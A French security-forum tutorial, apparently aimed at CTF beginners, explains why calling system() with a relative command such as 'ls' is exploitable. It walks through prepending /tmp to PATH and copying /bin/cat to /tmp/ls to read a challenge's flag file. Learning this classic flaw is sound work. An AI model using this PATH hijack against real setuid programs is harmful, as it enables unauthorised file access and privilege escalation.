• STATISTIQUES
  • Il y a eu un total de 0 membres et 41504 visiteurs sur le site dans les dernières 24h pour un total de 41 504 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Net Force
    Javascript: 9, Java Applets: 6, Cryptography: 16, Exploits: 7, Cracking: 14, Programming: 13, Internet: 15, Steganograph...
    Challenges
    [EN] Sabre Films
    Site de challenge présenté sous la forme d'une quête. Vous êtes un détective et devrez résoudre d...
    Challenges
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking
    [EN] PHPFreaks
    PHPFreaks est un site dédié à l'apprentissage et l'enseignement du PHP. Ici vous trouver...
    Programmation
    [FR] Comment ca marche
     Gratuit et accessible à tous, ce site de communauté permet de se dépanner, se faire aider ...
    Webmaster
    [EN] Security Traps
    Site de challenge qui prétend être construit non pas dans le but de parfaire vos connaissances, mais plutôt dan...
    Challenges
    [EN] Dare your mind
    JavaScript: 6, Crypto: 44, Stegano: 36, Logic: 13, Special: 27, Science: 11, Realistic: 7, Programming: 10, Crack It: 6,...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Failles App] Faille de la fonction system()
12-03-2013, 19h41
Message : #1
sakiir Hors ligne
[sakiir@Ubuntu]:~$ ./ExploitMe ShellC0de
*



Messages : 411
Sujets : 51
Points: 34
Inscription : Sep 2012
[Failles App] Faille de la fonction system()
Bonjour à tous ,
Pour me mettre dans le bain de la Sécurité Applicative, J'ai décidé de faire ce tutoriel sur "la failles system()".

Dans une premiere Partie nous allons voir pourquoi la fontcion system() de la libc, est faillible.

0x1 - Pourquoi la fonction system() est vulnerable :

Prenons comme exemple le code suivant :
Code :
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
printf("----- Faille de la fonction Systeme ------\n Listing Directory Function \n");
system("ls");
printf("END\n");
exit(1);
}

La fonction system a pour argument "ls" , ce qui , executé listera le dossier courant de tout ces fichiers et dossiers.

1er resultat :
Citation :[18:19 sakiir@sakiir system] > gcc code.c -o code
[18:19 sakiir@sakiir system] > ./code
----- Faille de la fonction Systeme ------
Listing Directory Function
code code.c
END
[18:20 sakiir@sakiir system] >

Ici, dans le dossier courant on trouve le fichier executable "code" et la source "code.c".
la fonction system va executer l'argument dans le terminal.
essaons donc de mettre un fichier "ls" dans le dossier courant qui affichera "bonjour !" .
Ensuite , nous allons modifier la Variable d'envoronnement PATH , qui est equivalente a celle de windows ..
Exemple sous windows si on met un executable "hola.exe" dans le dossier "system32" , si on tape directement "hola" dans le terminal windows , alors le programme "hola.exe" s'executera.

Sous Linux c'est pareil tout les dossiers inclus dans PATH sont séparé par des ":".
exemple :
Citation :[18:23 sakiir@sakiir system] > echo $PATH
/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[18:26 sakiir@sakiir system] >

Le miens est long , mais peut importe on va le modifier et inclure le dossier courant à la Variable PATH comme ceci :

Citation :[18:27 sakiir@sakiir system] > export PATH=.:$PATH
[18:27 sakiir@sakiir system] > echo $PATH
.:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[18:28 sakiir@sakiir system] >

/*
"." signifie "DOSSIER COURANT"
*/

ainsi , si on tape "ls" dans le dossier ou se trouve le programme ls , on executera directement le programme "ls" du dossier et non "/bin/ls" .
exemple :

Citation :[18:30 sakiir@sakiir system] > /bin/ls
code code.c hello.c ls
[18:30 sakiir@sakiir system] > ls
bonjour !

0x2 - Exploitation dans un exemple :

Dans certains challenge on peut trouver le code suivant :

Code :
#include <stdio.h>
int main()
{
system("ls /dossier/dossier/flag");
}

Dans ce challenge on aurai uniquement acces en ecriture au dossier "/tmp/" , nous allons donc ajouter à la variable PATH le dossiser tmp comme ceci :
Citation :[18:36 sakiir@sakiir system] > export PATH=/tmp/:$PATH
[18:36 sakiir@sakiir system] > echo $PATH
/tmp/:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[18:36 sakiir@sakiir system] >

Voici ! Smile
Vous devinerez que cette fois ci, il faudra creer un programme dans le dossier tmp.
ce que j'ai fais , moi , c'est tout simplement executer ce code la :
Citation :cp /bin/cat /tmp/ls
Donc ici le programme cat est dans tmp avec le nom "ls".

Merci d'avoir prété intention à mon "Tutoriel" et à bientot !! Smile
+1 (2) -1 (0) Répondre


Messages dans ce sujet
[Failles App] Faille de la fonction system() - par sakiir - 12-03-2013, 19h41

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut